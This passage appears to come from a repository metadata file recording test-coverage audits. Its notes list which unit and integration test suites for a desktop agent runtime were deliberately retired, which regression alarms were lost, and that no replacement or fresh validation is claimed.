interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2056 (sources2054/2055): Intentionally retire these low-value alarms without replacement: src/renderer/src/runtime/files/watching/runtime-file-client-watch.test.ts: delivers remote file changes to listeners for the same worktree. src/main/runtime/orca-runtime.test.ts: ordinary registration cleanup removes only await import('./orca-runtime-tests/mobile-session-tabs-part-14.spec'). src/main/runtime/orca-runtime-tests/terminal-side-effect-facts-part-03.spec.ts: arms the stale-title timer for a seeded working title; arms the Command Code scrape from the noted spawn command; prefers the tracked title over a stale renderer lastTitle in the hydration seed; writes recent output into the current runtime output map; uses a later title handler replacement with the runtime receiver; calls the current injected listener with the runtime receiver; keeps optional reconciliation lazy after its callback is removed. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-14.spec.ts: lists them, so a paired client can mirror a migrated editor; closes one by retiring it from the host session; keeps an unsaved draft unless the close is forced; shares aggregate work but leaves a replacement pending promise alone; lets a targeted refresh finish while an aggregate refresh waits; refuses a close when the store lacks %s before the guard; keeps a later missing %s on the original caught failure path. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Exact retired assertionRefs, preserved as historical objects only: {\n          \"file\": \"src/renderer/src/runtime/files/watching/runtime-file-client-watch.test.ts\",\n          \"assertions\": [\n            \"terminal watcher error and setup failure evict the shared entry before retrying callbacks run\",\n            \"an old stream end cannot evict the replacement stream, which still delivers to its listener\",\n            \"two same-worktree listeners share a synthetic subscription until the final stop unsubscribes and sends unwatch\"\n          ]\n        } Historical prior account (preserved verbatim): Audit1973: Delete the standalone mocked watcher cleanup suite and its entire sole-file prospective command. Retire the removed file-command transport-abort alias; preserve the independent cancellation suite and final-overflow/error/end cleanup callback, and13 unrelated receipt objects. Whole original changed dated receipts are retired, never narrowed or transferred. This metadata review claims no fresh execution, equivalent replacement, provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Partial runtime files-watch suite retains controlled Windows close-event waiting, shared-client survival, late physical-exit ownership/deadline cleanup and shutdown joining. Its combined Windows close/deadline/late-exit alias remains backed by unchanged callbacks. Retire native-error-close, pre-publication setup ownership and failed-delete rearm aliases; associated delegation, failure forwarding, removal routing and recovery examples are lost. These tests inject watch/subscription seams and do not observe an actual native watcher or physical process. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1925 (sources1922/1923): Partial runtime watcher-host suite loses mocked option/event/overflow/resubscription forwarding, supplied teardown-error propagation, aborted-signal/no-call and private ten-thousand-waiter-count inventories. Retire the 10,000-caller bound and failed-recovery-subscriber-ending assertion aliases. Keep same-root owner cancellation, pre-ready replacement, held root-close join, stale-generation recovery delivery and initial failed-root ownership mappings backed by retained real-host callbacks with injected subscription/error/physical-exit promises. No actual native watcher, process termination or resource bound was observed. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1683 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1645 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1634 removes low-value IPC, filesystem and runtime projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1623 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1516 removes package-electron-runtime-contract.test.mjs, a copied release-workflow platform and marker matrix. Its workflow wiring alarm is intentionally retired; no actual packaged watcher delivery was exercised and no equivalent replacement is claimed. Unaffected dated execution receipts retain their original scope; changed optional selectors have no fresh full-gate execution result. This audit removes the paired-web stopped-during-outage and late-ready direct-branch examples. The retained pre-ready cancellation, failed-unwatch retry and replay-continuity cases are not equivalent replacements for those ordering alarms. Current web-runtime-client.test.ts assertions below name only its retained pre-ready callback case; replay cases remain in their separate suite. Historical commands and results remain historical. Deterministic tests cover one shared healthy child per runtime process plus at most four bounded fault-quarantine children, native desktop, paired-runtime, and WSL snapshot processes sharing the same eight-physical-child reservation with typed serialized event-driven capacity recovery, including recursive re-wait when crash recovery reclaims an announced slot, one quarantine attempt per watch lifetime, generation-scoped cancellation, bounded termination with removable deadline waiters, replacement-crawl errors that cannot be blessed by a late readiness ack, pre-ready paired-web cancellation registered before an unbounded capacity wait, already-resolved and late physical-exit retry of a rejected paired-web teardown, physical desktop-install and local/SSH PTY teardown, stale-generation rejection, per-child stat bounds, final-overflow RPC delivery, and renderer eviction before terminal callbacks can retry. Destructive local and SSH removal fences both ID-derived and resolved-cwd terminal roots, including sibling-root/cwd combinations with reverse admission rollback, closes descendant relay watches before parent deletion, enumerates authoritative provider/cwd ownership, falls back to daemon spawn cwd before OSC 7, and keeps daemon/relay immediate shutdown pending until native exit or a bounded fail-closed error; a dead relay PID discovered during attach also settles concurrent shutdown before its stale entry is reaped, while Windows runtime watcher deadlines retain one removable physical-close waiter, treat Node's error-close path as positive physical-exit proof, and clear root ownership on late close. The relay policy test maps a standard repository's base, Git common directory, and worktree roots to one healthy supervisor, then proves a shared-child failure recovers those roots in separate quarantine supervisors with overflow and resumed events. Abortable capacity, quarantine, runtime-root, relay, SSH, and relay pre-install setup waits attach one reaction to each shared promise and explicitly remove 10,000 cancelled caller closures while one anchor remains. Built-entry macOS harnesses kill the desktop/runtime and SSH relay watcher children, then require automatic resubscription and later events while the host process and relay PTY survive. SSH bundles the child boundary beside relay.js, requires both artifacts for install completeness, and preserves registration-owned same-root cancellation. The test-value audit corrects the active renderer watch command/file reference to the existing runtime-file-client-watch.test.ts, whose three cases are retained unchanged. They observe synthetic subscription retry/fanout and unsubscribe/unwatch calls, not actual preload/main bookkeeping or physical watcher-process cleanup. The separate read/preview client suite loses forwarding, supplied-error and negative-only examples, retaining binary detection and Unicode SVG decoding. Historical evidence commands/results are unchanged. Test-value audit1293 removes src/main/providers/local-pty/local-pty-provider-session-inventory.test.ts (2 authored cases). Their isolated assertions no longer run; surviving tests are not claimed as equivalent coverage. Fresh execution against the candidate SHA is required. Audit1312 removes low-value imported specs from aggregate test drivers; old whole-driver execution receipts are archived. Retained registrations are unchanged. No equivalent replacement coverage is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1412: src/main/workspaces/removal/watcher-removal-gate.test.ts reduced. Loses exact removal-error compatibility with renderer predicate under shared message constants. Kept public refusal outcomes do not establish that renderer classification. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result.",
+      "coverageNotes": "Audit3375 composes root-adopted3370/independent3371 and3373/independent3374: intentionally retires79 authored registrations/84 expanded cases, including39 whole suites, without equivalent replacement. Lost alarms include federation field/parser inventories; Claude rejected-key precedence, credential clone redaction, managed-versus-user hook preservation and CLI defaults; setting/status/activity projections, mocked SSH/notification/reveal/Linear refusal, fake-clock reconnect and noise; image-fold artifact visibility, paste eligibility, setup trust, scripted ACP error-to-journal publication and ligature cache tuple aliasing; plus supplied folder-runner uniqueness, mobile host-overlay/credential/update/preference races, status/markup/title/keyed-row projections, subscriber cleanup, cancellation/close/refusal/link-issue and mirror suppression alarms. Retained3373 merger contiguity, dual-clock overdue-resume exactly-once, rejected-paste IPC sink and annotation schema roundtrip remain bounded. Retained actual HTTP/OSC status composition, destructive sibling-filesystem isolation, external contrast invariant and fixture CSS pixel intervention remain narrower. Original reviewed87authored/92expanded become9/9; current OpenCode suite adds two preserved upstream cases and the synthetic-title suite gained one Cursor policy mock-call case, independently reviewed for removal in root3378; current90/95 become11/11. That Cursor suppression/ready-frame regression alarm is intentionally lost; it does not observe native title ownership or tab flicker. For3370 only the peer was independently blind, with author exposure explicit;3373/3374 both blind pins were verified. This broad root unit command selects the reduced root unit suite; UNIT_INCLUDE excludes mobile tests, which require the existing mobile runner; retained Playwright component-pixel spec uses its separate existing headless fixture runner and is not validated by the broad unit command. No fresh execution, actual agent/shell/provider, OS material/focus, historical import equivalence, mobile, mixed-version or cross-platform evidence is claimed. All dated receipts retain their original scope. Audit3368 composes root-adopted3363/3364 and3367/3369: intentionally retires181 authored registrations/196 expanded cases, including28 whole suites, without equivalent replacement. Lost alarms include hibernation attention/liveness/backoff/sequential teardown and inventory, host launch compatibility/legacy/Kimi/resource cleanup, terminal recovery parser/pause/quarantine/remount, window-visibility omission-fence lifetime, launch-option rendered Start, sleeping-resume saved recipe/WSL quoting/cancellation, plus removed project/window/input variants. Additional tiny-suite losses include sentence/label/field/default inventories, credential omission, Windows argument/environment mapping, URI decoding, diagnostics, provider classification and fake-clock callback/parser examples. Retained ten registrations/twelve expanded cases include two literal Unicode Mn/Cf zero-width range guards in the actual character-range algorithm and protect narrower delayed editor bytes/destructive ownership, mounted hidden collision repair, ten transport epochs, duplicate-command refusal, caller timeout typing, executor unknown-opener refusal and failed-chunk user bytes. This broad unit command selects the reduced suite; no fresh runtime, real provider/network/PTY, filesystem restart, native UI, historical import equivalence, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3362 composes root-adopted3358/independent3360: intentionally retires129 authored registrations/140 expanded cases, including four whole suites, without equivalent replacement. Lost alarms include supplied orphan-adoption retry/malformed inventory/cancellation; fake-terminal replay parser/wedge/disposal callbacks; all-host catalog metadata and Windows preferences; host keepalive/protocol/stale/settings failures; and removed exact-stop/suppression, source save lifetime, diff-note queue, rename/editor close, input flood/chunk refusal/limits, purge and creation examples. Retained18 registrations/21 expanded cases protect narrower ownership, generation, dirty-state, queue convergence, encoding and attachment-lease outcomes. No replacement or keeper quota claim. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY/xterm parser, disk restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3359 composes root-adopted source3355/independent3356: intentionally retires130 authored registrations/139 expanded cases, including eight whole suites, without equivalent replacement. Lost alarms include strict create naming/capability/legacy payloads; supplied transport host replacement, deadline reattach, create-handoff and split activation; agent-session fork/clipboard/platform flags; shutdown cleared-scrollback/unmounted bindings; simulator host-collision/selection/shutdown; and removed editor, catalog, mutation, launch and status examples. Retained12 adverse-ordering/state-consequence cases are narrower and do not replace all removed alarms. Two queue absences receive zero removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY, filesystem restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3349 composes adopted batches3343,3345 and refreshed3354: intentionally retires234 authored registrations/294 expanded cases, including13 whole suites, without equivalent replacement. Lost alarms include supplied terminal reconnect/replacement/typeahead/mirror/result and snapshot examples; synthetic render-desync persistence/recovery; worktree listing/owner/catalog/lineage/removal and activation/creation examples; host-scoped PR and task-record projections; editor diff/status/comment and UI send-target examples; automation observation/wake, supplied sleep/deadline clock and native-chat completion/notification/relaunch samples; held-tab layout and cleanup/progress guard examples. Retained adverse-ordering and wire-boundary cases are narrower and do not replace all removed alarms. The already-upstream visibility-resume deletion receives zero new removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH, native process/power/GPU, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3342 composes adopted source batches3333/3334,3336/3337 and3340/3341: intentionally retires180 authored registrations/263 expanded cases, including seven whole suites, without equivalent replacement. Lost alarms include corrupt editor hydration; mobile editor/diff publication and privacy projections; stale-resubscribe routing; model-picker projection/refetch/retry/fallback; editor check-details and frame property inventories; latched-pane cleanup/quiescence; client create replay identity/options/compatibility; and removed owner, async routing, terminal and layout examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts keep their original scope. Audit3335 composes adopted source unions3327/3328 and3330/3332: intentionally retires100 authored registrations/123 expanded cases, including ten whole suites, without equivalent replacement. Lost alarms include seeded host persistence/contention and stale-host cleanup; browser snapshot assembly; mocked wake/DPR callbacks and frame budgets; preflight projections; palette authority/cache suppression, URL intent and saved-title cross-repo collisions; metadata coverage/set patch and dropdown assembly; and removed terminal, worktree, review-refresh and owner-routing examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI/GPU/focus, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain only their original scope. Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit 